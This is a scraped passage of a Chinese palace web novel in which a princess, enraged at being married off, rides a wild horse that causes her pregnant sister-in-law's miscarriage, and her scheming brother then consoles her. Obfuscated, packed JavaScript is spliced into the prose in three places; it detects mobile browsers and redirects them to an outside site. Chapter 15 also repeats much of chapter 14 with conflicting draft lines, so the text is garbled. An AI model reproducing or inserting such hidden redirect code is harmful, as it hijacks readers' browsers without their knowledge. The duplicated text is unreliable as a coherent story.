那个名字一旦出口,便像戳中了某种禁忌的情绪。所有的尖锐、冷硬、伪装,在这一刻土崩瓦解。 康缇的眼眶微微泛红,声音也有些发哽:“王兄待我,好时极好,甚至几度舍命救我,我……” 她语无伦次,眼泪顺着脸颊流了下来。 何瑛姃见状,心中不忍,忙顺着话头温声劝道:“缇儿,我知道你是明白事理的。方才说那些陈年旧事,并非要与你比惨,只是想告诉你,凡事得往前看,无论眼下多难,日子还长,总有云开月明的时候。” “不是这样的!根本不是这样!”康缇听了这不痛不痒的话,猛地抬起头,收了眼泪,语气愈发急躁,“就算我往前看,难道今天就不存在了吗?再者,我前面还有什么?那个行将就木的老皇帝吗?我康缇就只配得上这样的前程吗?!” 何瑛姃闻言,表情一下子僵住了,心里有一种说不出的滋味,那并非替康缇的处境而惋惜,倒更像是心底的狼狈被戳中了。 她沉默了好一会儿,才垂下眼帘,避开康缇灼人的目光,低声说道:“若换作是我,是愿意的。” “愿意?”康缇嗤笑一声,“哼,不必拿这些话来哄我,我又不是小孩,听不出真假吗?” “我说的是真的。”何瑛姃抬起头,眼神坦荡,却有些无可奈何,“人与人的命,本就不一样。像我这般出身微贱、为奴为婢惯了的,能有这样的机缘,高兴还来不及呢。” “……” 康缇满腔愤怒,此刻都哽在喉咙里,说不出一个字。 她看着何瑛姃平静的脸,心中感受到另一番苦楚。她第一次意识到,她们之间,不仅仅是身份的差异,更是对命运截然不同的底线。 方才两人之间,还有些许坦诚,此刻却被尴尬所取代。 “康朔啊康朔,你真是好手段。”康缇在心底冷冷一笑。 她本无意用言语去刺伤何瑛姃,可她那与生俱来的、同王兄一样的傲慢,本身就是对何瑛姃最大的伤害。 这就像一座终日与暴风雷霆抗争的山峰,永远不会低下头,去看看山脚下的蝼蚁,如何在石缝中苟活。 康朔正是看透了这一点,才特意让何瑛姃前来劝解。任凭康缇满心委屈,也不可能冲着一个不及她的人泄愤。 想到这一层,康缇更觉意兴阑珊,连争辩的力气都没了。 “王嫂,”她终于肯正经唤她一声,“你也累了大半日,早些回去歇息吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062467|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头我让人将剩下的蜜瓜,都给你送去。” “缇儿,还有一事。”何瑛姃没有要走的意思,她手指无意识地攥着袖口,似乎在斟酌措辞,“来时,王上告诉我的。我想着,你或许该知道。” “何事?” 何瑛姃瞥了一眼侍立左右的婢女,将众人屏退,才对康缇道:“王上说,无论你如何恼他、恨他,他心中最看重的,始终是你。此番将你许给雍帝,并非……” 她凑到康缇耳边,压低声音:“王上多方打探,听闻那雍帝沉疴已久,不过是强撑着一口气,恐怕也就这两三年的光景了。王上的意思是,你嫁过去,若能尽快诞下皇子,他便倾西康之力,在雍廷为你斡旋运作,务必扶你的孩儿登上太子之位。待雍帝驾崩,你便是太后,幼主临朝,整个大雍便是你说了算。届时,咱们一家人,便可在兴安城重聚。” 说罢,她稍稍直起身,见康缇神色凝重,又补充道:“退一万步说,若你无所出,待那雍帝归天,你以未亡人之身回返西康,依旧是尊贵的西康公主,王上还会疼你、宠你。” 听到这一番环环相扣、算尽天机的谋划,康缇都懵了。 她怔怔地看着何瑛姃:“这当真是王兄亲口所言?” “嗯。”何瑛姃点了点头。 康缇一时哑口。她低着头,攥着双手,紧紧抵在膝上,全身都在颤抖。 没想到,康朔不仅利用她作为政治筹码,嫁到大雍,更将她往后的命运都算得如此精细。王兄当真是在意她呢。 一股巨大的荒诞感侵袭了她全部心神。 何瑛姃见她脸色苍白,伸手轻轻抚上她的背,关切地问:“缇儿,你没事吧?” 康缇缓缓抬起头,双眼赤红地看着王嫂,声音又缓又沉:“你是说,康朔用我做赌注,赌那老皇帝何时死?赌我能不能生下儿子?赌那雍廷是不是纸糊的、任凭西康摆布?” “缇儿。”何瑛姃拉住她的手,“王上他志存高远,可也是万般不舍你远嫁的。幸好雍帝是这般情形,不过虚耗你几年青春罢了。你们兄妹,终有团聚之时,到那时才是真正的苦尽甘来。” “呵,”康缇冷笑一声,低声自语,“我都嫁出去了,他还不肯放过我?” 何瑛姃听到这声低语,柔声劝道:“不是你想的这样。此事其实也没那么糟……” “怎么不是?”康缇抽回手,猛地起身,声音陡然拔高,“康朔若是存了好意,为何不亲自来说与我?何苦要让你挺着肚子,在我这受气?” “王上他今日确有要务缠身,所以……” “我不管!”康缇打断她,胸口剧烈起伏,“让康朔来!让他亲口跟我说,否则我死也不出西康半步!” 说罢,她已拂袖转身,头也不回地冲了出去。 何瑛姃惊呼一声,急忙起身追赶。可她怀着身孕,行动不便,哪里追得上步履如飞的康缇。 “缇儿!缇儿!” 她在后面焦急呼喊,眼睁睁看着康缇的身影消失在廊道拐角。 14. 手足(3) 王兄的算计、王嫂的劝解,还有远在兴安城的老皇帝……所有人都在安排康缇的命运,没有一个人问过她愿不愿意。 此刻,她心里憋着一团火,无处宣泄。离开□□馆后,便一路小跑去了马房。 正巧,前几日马房新到了几匹大宛良驹,正在槽间嚼着草料。其中一匹通体雪白、四蹄如墨的骏马,格外抢眼。 康缇看中了那匹马,便径直走过去,解开了它的缰绳。 “公主殿下,使不得!”?一名马监慌忙上前阻拦,“这匹马才驯了没几日,性子烈得很,殿下要不换一匹?” 康缇依旧装作不会说话,狠狠地瞪了那马监一眼,硬是将这匹白马从栅栏里牵了出来。 “公主,这万万不可!”马监“扑通”一声跪了下来,“这马野性未除,可不是闹着玩的。您若想骑马,外头有的是温顺的好马,我这就给您挑去。” “滚!” 康缇突然怒喝一声。 这可把马监吓坏了。 全城人都知道公主有哑疾,这一声“滚”,真是青天白日见了鬼了。 就在马监愣神的时候,康缇已经伸出手,掌心向上,缓缓凑到白马面前。那白马竟乖乖低下头,嗅了嗅她的手指,并用鼻子轻轻碰了碰她的掌心。 这一刻,康缇心口那股郁结之气,似乎找到了出口。她为马儿套上笼头,便抓住缰绳,翻身跃上马背。 白马野性难驯,骤然被人骑上,惊得发出一声声嘶鸣,并疯狂地扭动、跳跃,试图将背上的人甩下去。而康缇死死抓住缰绳,紧咬牙关,伏低身体,一刻都不敢松手。 不一会儿,这白马的动静,扰得其他马匹也跟着惊嘶,马房里顿时一片大乱。又有两名马监围过来,惶恐地看着眼前情景,手足无措。 白马这一番躁动,颠得康缇五脏六腑都要碎了,她明显能感觉到胸口“扑通扑通”直跳。可有意思的是,这种失控的、濒临坠落的危机感,反而压过了她心中的愤懑与无力。 “哈!”她甚至笑出了声。 白马见甩不脱她,便猛地冲向马房大门。康缇没有勒住缰绳,反而俯身贴近马颈,大声喝道:“跑啊!” 就这样,白马犹如一道闪电,冲出了马房,冲入王宫的御道。 正值申时,宫中内侍奴仆来来往往。突然,一道白影窜出,马蹄落在石板上,“咯噔咯噔”的声音,炸响开来,惊得众人尖叫声四起。 “是公主!公主骑马过来了!” “拦住,快拦住!宫中严禁策马!” …… 一众侍卫闻讯赶来,想要放箭,或用绊马索拦住那白马。但见到马背上是康缇,便都不敢轻举妄动,只能尝试围堵。 白马那野性已经发作了,见有人阻拦,更是横冲直撞,竟朝着后宫闯去。 这可中了康缇的意了。她的发髻早已散乱,丝丝缕缕长发,在风中狂舞。一双清澈的杏眼,看着鸡飞狗跳的情景,心中升起一股快意。她恨不得飞去后宫,好让王兄也看看。 “缇儿!” “缇儿,快停下!” 一阵焦急的呼唤,从侧后方传来。 康缇猛地回头,只见何瑛姃在婢女的搀扶下,正追赶而来。她脸色煞白,气喘吁吁,额上全是汗,显然是从□□馆一路追过来的。 “你来做甚?回去!”康缇见到王嫂,心中有些发慌。那毕竟是个大着肚子的。 何瑛姃依旧追过来,声音带着些许哭腔:“缇儿,太危险了。你快下来,有事咱们好好说。” 这时,一名身形魁梧的侍卫瞅准时机,猛喝一声,合身扑上,双手死死抓住白马脖颈上的缰绳,另外两名侍卫也拥上前帮忙。 这下,白马被彻底惊着了,他猛扬前蹄,狂暴地扭动身躯,撞开众人,迅速向旁边甬道窜去。 康缇猝不及防,险些被甩飞出去,全靠一股狠劲死死攥住缰绳,才勉强伏在马背上。刚稳住身体,她才注意到,甬道口站着两人,正是何瑛姃和她的婢女,她们已被吓得僵在原地。 “让开!”康缇嘶声大喊,拼命勒紧缰绳,想调转方向。 但已经晚了。 白马的影子,已经笼罩住何瑛姃的身形。就在马蹄即将踏上的瞬间,身旁的婢女拼命拽了何瑛姃一把,两人踉跄着侧身摔倒。 “砰!” 何瑛姃的肩膀还是被马身重重剐到,整个人倒地后,又翻了个跟头,撞在了墙角。 “啊!”她发出了一声短促而凄厉的叫喊,随即蜷缩起身子,双手死死捂住腹部,脸色惨白。 白马冲了过去,又奔出十几步,才被六七名侍卫用套索拦住。康缇被颠得七荤八素,终于从马背上滚落下来,重重摔在地上。 她已经顾不上疼痛,连滚带爬,奔向何瑛姃的方向,扑跪到她身边。 “王嫂!” 康缇看见,何瑛姃靠着婢女,半躺在地上,神情慌张无措,额头上渗出涔涔汗水。她双手捂着肚子,身下殷出刺眼的红色,不断洇开、扩大。 “孩儿,孩儿……”她颤抖着声音,不停唤道。泪水不断划过面颊。 这触目惊心的一幕,狠狠戳在康缇心口,戳得她喘不上气。她都不敢再看何瑛姃。 周围的宫人慌乱地围上来,有经验的嬷嬷看了一看,倒吸一口凉气:“不好!快,快抬进去,叫医官!” 众人闻言,救人的救人,报信的报信,场面混乱不堪。 康缇跪在原地,怔怔看着石板上的血泊,像是被抽了魂似的。待众人散去,她依旧呆愣着,一动不动。 日头西沉,霞光漫天,那摊血已经半干,被暮色染过,更加深沉。 一阵凉风吹过,康缇打了个激灵,这才惊觉,自己已经酿成大祸。她试图站起,双腿却因久跪而麻木刺痛,仿佛有无数细针扎着她。她咬着牙,一瘸一拐,如同失了魂的人偶,朝着何瑛姃寝宫的方向挪去。 原本,她还期盼着,或许有惊无险。可一踏进院里,就听见刺耳哭嚎声,连带着含混不清的咒骂,从房内穿透墙壁,回荡在整个院落。 再看那些宫人,来往忙碌间,步履匆匆,一见到康缇,各个眼神躲闪,无人敢与她对视。 结果显而易见。 孩子没了。 康缇僵在原地,一阵寒意漫过全身,令她全身都在颤抖。胸口也似乎被什么东西压住了,凭她多么用力地喘气,窒息感都如影随形。 明明,就在刚才,何瑛姃还摸着肚子,说这孩儿定也是个折腾人的。 一想到这,康缇再也忍不住了,她颤颤巍巍地出了院子,拐过院墙,摸索到一处昏暗无人的角落,滑坐在地,面冲着冰冷的砖墙,大声哭喊起来。 哭到表情扭曲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062468|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭到涕泪俱下,哭到声音断了线…… 夜幕,就在悔恨与哭声里,漫了上来。 忽然,一只温热的手掌,轻轻拍在她的后背上。 “缇儿?” 康缇浑身一颤,泪眼朦胧地回过头,竟是自己的王兄。 落日最后一抹余晖,落在他身后,为这高大伟岸的轮廓,镀上一层柔和的光晕。逆着光,他的面容有些模糊。这朦胧的光晕,竟让康缇恍惚了一瞬,像是回到了小时候,每每闯祸,都有个人为她兜底。 “你怎么一个人躲在?”康朔俯下身,看她额前发丝凌乱,泪眼婆娑,神情惶恐迷茫,一副娇弱可怜的模样,顿时紧张起来,伸出双手扶住了康缇的双肩,“伤着了?还是吓坏了?让我看看。” “王兄,我……我不是故意的……”康缇抓住他的衣袖,声音破碎,语无伦次,“她……马惊了……我没想到,王嫂她……” “好了,不说了。”康朔叹息一声,不由分说地将她揽入怀中,双臂收拢,用自己宽阔的胸膛,将她颤抖不已的身躯,紧紧包裹起来,一如从前,“不怕了,王兄在这儿。” 熟悉的温暖和气息笼罩下来,康缇紧绷的心弦,瞬间断裂。她将脸深深埋进王兄的衣襟,双手死死揪住他背后的衣料,再次放声痛哭:“对不起……对不起……” 一遍又一遍的道歉,混合着泪水,浸湿了他的前襟。 康朔稳稳地抱着她,下颌抵着她的发顶。前一刻,他还在何瑛姃的寝殿内大发雷霆,发落了一干伺候不力的宫人。但此刻,怀抱中这个小可人,热乎乎的一团,竟奇异地抚平了他心头的怒火。 半晌,他略微松开怀抱,低下头,双唇凑到她冰凉的耳廓,柔声说道:“傻缇儿,意外而已,王兄不怪你。乖,别哭了,仔细伤了眼睛。回去好好睡一觉,嗯?” 康缇缓缓抬起头,看着王兄狭长的眼眸中,满载柔情,这才得一丝放松。大哭后的虚脱,瞬间漫遍全身。 “嗯。”她乖巧地点了点头。 康朔利落地解下自己的外袍,披在妹妹单薄的身上,仔细拢好,又帮她理了理黏在脸颊上的头发。动作极尽温柔。最后,他单臂环住她的肩,准备离开。 刚迈了一步,康缇左膝突然传来一阵刺痛,腿一软,栽到了康朔身上。 “怎么了?”康朔问。 康缇这才后知后觉,先前摔下马时,将左膝转筋了。她吸了气,弯腰去揉膝盖。 康朔见状,皱着眉叹了口气:“摔痛了?怎么不早说?”言罢,他半跪下来,双手使劲互搓,直至掌心发烫,然后贴在康缇的膝盖处,揉按起来。 掌心传来的温度,透过衣料,温着伤处,也温着康缇混乱的心。眼看着,又是一波泪水夺眶而出。 “好点了吗?”康朔抬头,看见她又哭了,以为是自己手太重,便立即停下,“弄痛你了?是我不好。”他站起来,转过身,又微微蹲下,“上来,我背你回去,赶紧让医官看看。” 夜色已浓,宫灯亮起,在地上投下长长短短的影子。 康朔背着康缇,步伐稳健,向□□馆走去。一步,一步,越走越畅快,越走越得意。 少一个子嗣不算什么,他还会有下一个。可康缇就一个。 若她因此心怀愧疚,不再记恨自己,今后也肯顺着自己,那么损失一个孩子,是值得的。 15. 手足(4) “说吧,你是如何做到的?”康朔冷声问道。 康缇茫然地抬了一下眼,又迅速垂下。 “把你怎么纵马,怎么冲撞了你王嫂,从头到尾说给我听。一个细节都不能漏。”康朔一字一顿,像是在审犯人。 他知道如何诛心。 果然,康缇彻底崩溃了。她猛地抬起头,眼泪再次从红肿的眼睛里流出,声音破碎,语无伦次:“她……马惊了……我没想到,王嫂她……” 康朔看妹妹,一脸泪痕,在晦暗的光线下粼粼闪烁,好似碎掉的宝石。婆娑泪眼,惶恐迷茫,更像个受惊的小鹿。 一瞬间,痛失子嗣的愤怒,都被这楚楚可怜的模样融化了。 他心头发酸,目光也不觉柔软了。“你伤着没有?过来,我看看。”说着,他伸手扶住了康缇的肩头。 康缇顺势抓住他的衣袖:“王兄,我……我不是故意的……” “好了,不说了。”康朔叹息一声,不由分说地将她揽入怀中,双臂收拢,用自己宽阔的胸膛,将她颤抖不已的身躯,紧紧包裹起来,一如从前,“不怕了,王兄在这儿。” 熟悉的温暖和气息笼罩下来,康缇紧绷的心弦,瞬间断裂。她将脸深深埋进王兄的衣襟,双手死死揪住他背后的衣料,再次放声痛哭:“对不起……对不起……” 一遍又一遍地道歉,混合着泪水,浸湿了他的前襟。 康朔稳稳地抱着她,下颌抵着她的发顶。前一刻,他还在何瑛姃的寝殿内大发雷霆,发落了一干伺候不力的宫人。但此刻,怀抱中这个小可人,热乎乎的一团,竟奇异地抚平了他心头的怒火。 半晌,他略微松开怀抱,低下头,双唇凑到她冰凉的耳廓,柔声说道:“傻缇儿,意外而已,王兄不怪你。乖,别哭了,仔细伤了眼睛。回去好好睡一觉,嗯?” 康缇缓缓抬起头,看着王兄狭长的眼眸中,满载柔情,这才得一丝放松。大哭后的虚脱,瞬间漫遍全身。 “嗯。”她乖巧地点了点头。 康朔快速脱下,披在妹妹身上,顺带额前碎发,而后单臂搂着她,转身要离开。 康朔利落地解下自己的外袍,披在妹妹单薄的身上,仔细拢好,又帮她理了理黏在脸颊上的头发。动作极尽温柔。最后,他单臂环住她的肩,准备离开。 刚迈了一步,康缇左膝突然传来一阵刺痛,腿一软,栽到了康朔身上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065626|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么了?”康朔问。 康缇这才后知后觉,先前摔下马时,将左膝转筋了。她吸了气,弯腰去揉膝盖。 康朔见状,皱着眉叹了口气:“摔痛了?怎么不早说?”言罢,他半跪下来,双手使劲互搓,直至掌心发烫,然后贴在康缇的膝盖处,揉按起来。 掌心传来的温度,透过衣料,温着伤处,也温着康缇混乱的心。眼看着,又是一波泪水夺眶而出。 而康朔以为自己手太重了,便赶紧收了回来,“赶紧回去,让医官瞧瞧。”说罢,他背起康缇,往□□馆去了。 “好点了吗?”康朔抬头,看见她又哭了,以为是自己手太重,便立即停下,“弄痛你了?是我不好。”他站起来,转过身,又微微蹲下,“上来,我背你回去,赶紧让医官看看。” 夜色已浓,宫灯亮起,在地上投下长长短短的影子。 康朔背着康缇,步伐稳健,向□□馆走去。一步,一步,越走越畅快,越走越得意。 少一个子嗣不算什么,他还会有下一个。可康缇就一个。 若康缇因此心怀愧疚,不再记恨自己,今后也肯顺着自己,那么损失一个孩子,也不算什么。